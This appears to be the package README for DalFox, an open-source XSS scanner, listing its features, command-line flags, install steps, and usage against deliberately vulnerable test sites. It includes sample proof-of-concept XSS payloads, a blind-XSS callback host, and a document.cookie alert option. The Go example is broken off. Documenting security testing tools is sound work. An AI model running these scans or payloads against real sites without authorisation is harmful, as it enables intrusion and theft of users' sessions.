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Published: Jul 19, 2021 License: MIT Imports: 1 Imported by: 0


Finder Of XSS, and Dal(달) is the Korean pronunciation of moon.

What is DalFox 🌘🦊

DalFox is a fast, powerful parameter analysis and XSS scanner, based on a golang/DOM parser. supports friendly Pipeline, CI/CD and testing of different types of XSS. I talk about naming. Dal() is the Korean pronunciation of moon and fox was made into Fox(Find Of XSS).


Key features

Mode: url sxss pipe file server payload

Class Key Feature Description
Discovery Parameter analysis - Find reflected param
- Find alive/bad special chars, event handler and attack code
- Identification of injection points(HTML/JS/Attribute)
inHTML-none inJS-none inJS-double inJS-single inJS-backtick inATTR-none inATTR-double inATTR-single
Static analysis - Check bad-header like CSP, XFO, etc.. with req/res base
BAV analysis - Testing BAV(Basic Another Vulnerability) , e.g sqli ssti open-redirects, crlf
Parameter Mining - Find new param with Dictonary attack (default is GF-Patterns)
- Support custom dictonary file (--mining-dict-word)
- Find new param with DOM
- Use remote wordlist to mining (--remote-wordlists)
Built-in Grepping - It Identify the basic info leak of SSTi, Credential, SQL Error, and so on
Scanning XSS Scanning - Reflected XSS / Stored XSS / DOM XSS
- DOM base verifying
- Headless base verifying
- Blind XSS testing with param, header(-b , --blind options)
- Only testing selected parameters (-p, --param)
- Only testing parameter analysis (--only-discovery)
Friendly Pipeline - Single url mode (dalfox url)
- From file mode (dalfox file urls.txt)
- From IO(pipeline) mode (dalfox pipe)
- From raw http request file mode (dalfox file raw.txt --rawdata)
Optimizaion query of payloads - Check the injection point through abstraction and generated the fit payload.
- Eliminate unnecessary payloads based on badchar
Encoder - All test payloads(build-in, your custom/blind) are tested in parallel with the encoder.
- To Double URL Encoder
- To HTML Hex Encoder
Sequence - Auto-check the special page for stored xss (--trigger)
- Support (--sequence) options for Stored XSS , only sxss mode
HTTP HTTP Options - Overwrite HTTP Method (-X, --method)
- Follow redirects (--follow-redirects)
- Add header (-H, --header)
- Add cookie (-C, --cookie)
- Add User-Agent (--user-agent)
- Set timeout (--timeout)
- Set Delay (--delay)
- Set Proxy (--proxy)
- Set ignore return codes (--ignore-return)
- Load cookie from raw request (--cookie-from-raw)
Concurrency Worker - Set worker's number(-w, --worker)
N * hosts - Use multicast mode (--multicast) , only file / pipe mode
Output Output - Only the PoC code and useful information is write as Stdout
- Save output (-o, --output)
Format - JSON / Plain (--format)
Printing - Silence mode (--silence)
- You may choose not to print the color (--no-color)
- You may choose not to print the spinner (--no-spinner)
- You may choose show only special poc code (--only-poc)
Extensibility REST API - API Server and Swagger (dalfox server)
Payload Mode - Generate and Enumerate Payloads for XSS Testing (dalfox payload)
Found Action - Lets you specify the actions to take when detected.
- Notify, for example (--found-action)
Custom Grepping - Can grep with custom regular expressions on response
- If duplicate detection, it performs deduplication (--grep)
Custom Payloads - Use custom payloads list file (--custom-payload)
- Custom alert value (--custom-alert-value)
- Custom alert type (--custom-alert-type)
Remote Payloads - Use remote payloads from portswigger, payloadbox, etc.. (--remote-payloads)
Package Package manager - pkg.go.dev
- homebrew with tap
- snapcraft
Docker ENV - docker hub
- gitub package of docker
Other - github action

And the various options required for the testing :D

How to Install

From source

▶ GO111MODULE=on go get -v github.com/hahwul/dalfox/v2

Using homebrew (macos)

▶ brew tap hahwul/dalfox
▶ brew install dalfox

Using snapcraft (ubuntu)

▶ sudo snap install dalfox

More information? please read Installation guide


file        Use file mode(targets list or rawdata)
help        Help about any command
payload     Payload mode, make and enum payloads
pipe        Use pipeline mode
server      Start API Server
sxss        Use Stored XSS mode
url         Use single target mode
version     Show version

Global Flags:
  -b, --blind string                Add your blind xss
                                      * Example: -b hahwul.xss.ht
      --config string               Using config from file
  -C, --cookie string               Add custom cookie
      --cookie-from-raw string      Load cookie from burp raw http request
                                      * Example: --cookie-from-raw request.txt
      --custom-alert-type string    Change alert value type
                                      * Example: --custom-alert-type=none / --custom-alert-type=str,none (default "none")
      --custom-alert-value string   Change alert value
                                      * Example: --custom-alert-value=document.cookie (default "1")
      --custom-payload string       Add custom payloads from file
  -d, --data string                 Using POST Method and add Body data
      --debug                       debug mode, save all log using -o option
      --deep-domxss                 DOM XSS Testing with more payloads on headless [so slow]
      --delay int                   Milliseconds between send to same host (1000==1s)
  -F, --follow-redirects            Following redirection
      --format string               Stdout output format
                                      * Supported: plain / json (default "plain")
      --found-action string         If found weak/vuln, action(cmd) to next
                                      * Example: --found-action='./notify.sh'
      --found-action-shell string   Select shell application for --found-action (default "bash")
      --grep string                 Using custom grepping file
                                      * Example: --grep ./samples/sample_grep.json
  -H, --header string               Add custom headers
  -h, --help                        help for dalfox
      --ignore-return string        Ignore scanning from return code
                                      * Example: --ignore-return 302,403,404
  -X, --method string               Force overriding HTTP Method
                                      * Example: -X PUT (default "GET")
      --mining-dict                 Find new parameter with dictionary attack, default is Gf-Patterns=>XSS (default true)
  -W, --mining-dict-word string     Custom wordlist file for param mining
                                      * Example: --mining-dict-word word.txt
      --mining-dom                  Find new parameter in DOM (attribute/js value) (default true)
      --no-color                    Not use colorize
      --no-spinner                  Not use spinner
      --only-custom-payload         Only testing custom payload (required --custom-payload)
      --only-discovery              Only testing parameter analysis (same '--skip-xss-scanning' option)
      --only-poc string             Shows only the PoC code for the specified pattern (g: grep / r: reflected / v: verified)
  -o, --output string               Write to output file (By default, only the PoC code is saved)
      --output-all                  All log write mode (-o or stdout)
  -p, --param string                Only testing selected parameters
      --proxy string                Send all request to proxy server
                                      * Example: --proxy
      --remote-payloads string      Using remote payload for XSS testing
                                      * Supported: portswigger/payloadbox
                                      * Example: --remote-payloads=portswigger,payloadbox
      --remote-wordlists string     Using remote wordlists for param mining
                                      * Supported: burp/assetnote
                                      * Example: --remote-wordlists=burp
  -S, --silence                     Not printing all logs
      --skip-bav                    Skipping BAV(Basic Another Vulnerability) analysis
      --skip-grepping               Skipping built-in grepping
      --skip-headless               Skipping headless browser base scanning[DOM XSS and inJS verify]
      --skip-mining-all             Skipping ALL parameter mining
      --skip-mining-dict            Skipping Dict base parameter mining
      --skip-mining-dom             Skipping DOM base parameter mining
      --skip-xss-scanning           Skipping XSS Scanning (same '--only-discovery' option)
      --timeout int                 Second of timeout (default 10)
      --user-agent string           Add custom UserAgent
  -w, --worker int                  Number of worker (default 100)

Server Flags:
  -h, --help          help for server
      --host string   Bind address (default "")
      --port int      Bind Port (default 6664)

Pipe Flags:
  -h, --help        help for pipe
      --mass              Parallel scanning N*Host mode (show only poc code)
      --mass-worker int   Parallel worker of --mass and --multicast option (default 10)
      --multicast   Parallel scanning N*Host mode (show only poc code)

File Flags:
  -h, --help        help for file
      --http        Using force http on rawdata mode
      --mass              Parallel scanning N*Host mode (show only poc code)
      --mass-worker int   Parallel worker of --mass and --multicast option (default 10)
      --multicast   Parallel scanning N*Host mode (show only poc code)
      --rawdata     Using req rawdata from Burp/ZAP

SXSS Flags:
  -h, --help             help for sxss
      --sequence int     Set sequence to first number
                           * Example: --trigger=https://~/view?no=SEQNC --sequence=3 (default -1)
      --trigger string   Checking this url after inject sxss code
                           * Example: --trigger=https://~~/profile

Payload Flags:
     --encoder-url            Encoding output [URL]
     --entity-event-handler   Enumerate a event handlers for xss
     --entity-gf              Enumerate a gf-patterns xss params
     --entity-special-chars   Enumerate a special chars for xss
     --entity-useful-tags     Enumerate a useful tags for xss
     --enum-attr              Enumerate a in-attr xss payloads
     --enum-common            Enumerate a common xss payloads
     --enum-html              Enumerate a in-html xss payloads
     --enum-injs              Enumerate a in-js xss payloads
 -h, --help                   help for payload
     --make-bulk              Make bulk payloads for stored xss
     --remote-payloadbox      Enumerate a payloadbox's xss payloads
     --remote-portswigger     Enumerate a portswigger xss cheatsheet payloads
▶ dalfox [mode] [flags] [data]

Single target mode

▶ dalfox url http://testphp.vulnweb.com/listproducts.php\?cat\=123\&artist\=123\&asdf\=ff -b https://hahwul.xss.ht

Multiple target mode from file

▶ dalfox file urls_file --custom-payload ./mypayloads.txt

Pipeline mode

▶ cat urls_file | dalfox pipe -H "AuthToken: bbadsfkasdfadsf87"

Other tips, See wiki for detailed instructions!

POC format

Sample poc log

[POC][G][BUILT-IN/dalfox-error-mysql/GET] http://testphp.vulnweb.com/listproducts.php?artist=123&asdf=ff&cat=123DalFox
[POC][V][GET] http://testphp.vulnweb.com/listproducts.php?artist=123&asdf=ff&cat=123%22%3E%3Csvg%2Fclass%3D%22dalfox%22onLoad%3Dalert%2845%29%3E


Identity Type Information BLANK PoC Code
POC G BUILT-IN/dalfox-error-mysql/GET http://testphp.vulnweb.com/listproducts.php?artist=123&asdf=ff&cat=123DalFox
POC R GET http://testphp.vulnweb.com/listproducts.php?artist=123&asdf=ff&cat=123%22%3E%3Csvg%2Fclass%3D%22dalfox%22onLoad%3Dalert%2845%29%3E
POC V GET http://testphp.vulnweb.com/listproducts.php?artist=123&asdf=ff&cat=123%22%3E%3Csvg%2Fclass%3D%22dalfox%22onLoad%3Dalert%2845%29%3E
  • Type: G(Grep) , R(Reflected) , V(Verify)
  • Informatin: Method, grepping name, etc..

Why is there a gap? It is a method to make it easier to parse only the poc code through cut etc. For example, you can do this.

▶ dalfox url http://testphp.vulnweb.com/listproducts.php\?cat\=123\&artist\=123\&asdf\=ff | cut -d " " -f 2 > output
▶ cat output

In the code

package main

import (

	dalfox "github.com/hahwul/dalfox/v2/lib"

func main() {
	opt := dalfox.Options{
		Cookie:     "ABCD=1234",
	result, err := dalfox.NewScan(dalfox.Target{
		URL:     "https://xss-game.appspot.com/level1/frame",
		Method:  "GET",
		Options: opt,
	if err != nil {
	} else {
$ go build -o xssapp ; ./xssapp
[] [{V GET https://xss-game.appspot.com/level1/frame?query=%3Ciframe+srcdoc%3D%22%3Cinput+onauxclick%3Dprint%281%29%3E%22+class%3Ddalfox%3E%3C%2Fiframe%3E}] 2.618998247s 2021-07-11 10:59:26.508483153 +0900 KST m=+0.000794230 2021-07-11 10:59:29.127481217 +0900 KST m=+2.619792477}


1414 1415
Single URL Scanning Massive(Multicast/Mass) Scanning
1416 1417
REST API Server Mode Output and Customizing (found-action / grepping)

and dalfox's banner image! dalfox-wide








Code by @hahwul Happy hacking :D

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